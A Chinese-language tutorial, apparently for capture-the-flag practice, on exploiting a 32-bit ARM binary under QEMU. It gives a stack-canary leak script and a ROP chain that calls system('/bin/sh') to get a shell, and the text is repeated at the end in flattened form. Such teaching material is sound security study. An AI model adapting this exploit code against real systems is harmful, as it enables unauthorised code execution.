arm32-pwn从环境搭建到实战
字数 897 2025-08-22 12:22:36

ARM32 PWN 从环境搭建到实战教学文档

一、ARM32 PWN 环境搭建

1. 安装 QEMU

apt-get install qemu

安装后可通过 qemu-[tab][tab] 查看可用指令,其中 qemu-arm 用于运行32位ARM程序。

2. 安装依赖库

sudo apt-get install -y gcc-arm-linux-gnueabi

若遇到依赖问题,执行:

sudo apt-get -f install

然后再次尝试安装。

二、ARM32 程序运行与调试

1. 直接运行程序

qemu-arm -L /usr/arm-linux-gnueabi ./pwn

-L 参数指定依赖库路径。

2. 使用 socat 创建调试环境

socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./pwn",reuseaddr

此命令在10002端口运行程序,-g 1234 表示开启GDB调试端口。

三、ARM32 程序分析

1. 保护机制检查

使用 checksec 检查程序保护:

  • Partial RELRO
  • Stack Canary
  • NX enabled
  • No PIE (0x10000)

2. 静态分析特点

  • ARM汇编较难理解
  • IDA反编译结果可能有误(特别是栈分布)
  • 需要结合动态分析验证

3. 动态分析技巧

  • 通过输入测试栈布局(如输入0x14*'a')
  • 在关键比较指令处下断点查看寄存器状态
  • 重点关注canary位置

四、ARM32 调用约定

  • 前4个参数通过r0-r3寄存器传递
  • 额外参数通过栈传递
  • 返回值存放在r0寄存器

五、ROP 利用技术

1. 常用ROP指令

  • bx:相当于call指令
  • pop {registers}:用于控制寄存器值
  • mov:寄存器间数据移动

2. ROP 构造思路

  1. 寻找合适的gadget控制r0寄存器(存放第一个参数)
  2. 定位system函数地址
  3. 定位"/bin/sh"字符串地址
  4. 构造调用链

3. 典型ROP链示例

pop_r4_r5_r6_r7 = 0x00010804
pop_r3_pc = 0x000104a8
mov_r0_r7_call = 0x000107f4

payload = ""
payload += p32(pop_r4_r5_r6_r7)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(0x21044) # /bin/sh地址
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL
payload += p32(pop_r3_pc)
payload += p32(0x104fc) # system地址
payload += p32(mov_r0_r7_call)

六、完整利用示例

1. Canary泄露

p.send('a' * 18)
r = (p.recv())
canary = r[24:28]

2. 构造完整payload

pay = 'A' * 24 + (canary) + p32(0xdeadbeef) + payload
p.send(pay)
p.interactive()

七、调试技巧

  1. 使用GDB附加到qemu调试端口
  2. 在关键比较指令处下断点
  3. 观察栈布局和寄存器变化
  4. 验证ROP链执行流程

八、总结

ARM32 PWN挑战主要在于:

  1. 环境搭建复杂
  2. 汇编代码理解难度大
  3. IDA静态分析可能不准确
  4. 需要结合动态调试验证

通过本教程,您应该掌握了从环境搭建到实际漏洞利用的完整流程,包括canary泄露、ROP链构造和ARM32调用约定等关键知识点。

ARM32 PWN 从环境搭建到实战教学文档 一、ARM32 PWN 环境搭建 1. 安装 QEMU 安装后可通过 qemu-[tab][tab] 查看可用指令,其中 qemu-arm 用于运行32位ARM程序。 2. 安装依赖库 若遇到依赖问题,执行: 然后再次尝试安装。 二、ARM32 程序运行与调试 1. 直接运行程序 -L 参数指定依赖库路径。 2. 使用 socat 创建调试环境 此命令在10002端口运行程序, -g 1234 表示开启GDB调试端口。 三、ARM32 程序分析 1. 保护机制检查 使用 checksec 检查程序保护: Partial RELRO Stack Canary NX enabled No PIE (0x10000) 2. 静态分析特点 ARM汇编较难理解 IDA反编译结果可能有误(特别是栈分布) 需要结合动态分析验证 3. 动态分析技巧 通过输入测试栈布局(如输入0x14* 'a') 在关键比较指令处下断点查看寄存器状态 重点关注canary位置 四、ARM32 调用约定 前4个参数通过r0-r3寄存器传递 额外参数通过栈传递 返回值存放在r0寄存器 五、ROP 利用技术 1. 常用ROP指令 bx :相当于call指令 pop {registers} :用于控制寄存器值 mov :寄存器间数据移动 2. ROP 构造思路 寻找合适的gadget控制r0寄存器(存放第一个参数) 定位system函数地址 定位"/bin/sh"字符串地址 构造调用链 3. 典型ROP链示例 六、完整利用示例 1. Canary泄露 2. 构造完整payload 七、调试技巧 使用GDB附加到qemu调试端口 在关键比较指令处下断点 观察栈布局和寄存器变化 验证ROP链执行流程 八、总结 ARM32 PWN挑战主要在于: 环境搭建复杂 汇编代码理解难度大 IDA静态分析可能不准确 需要结合动态调试验证 通过本教程,您应该掌握了从环境搭建到实际漏洞利用的完整流程,包括canary泄露、ROP链构造和ARM32调用约定等关键知识点。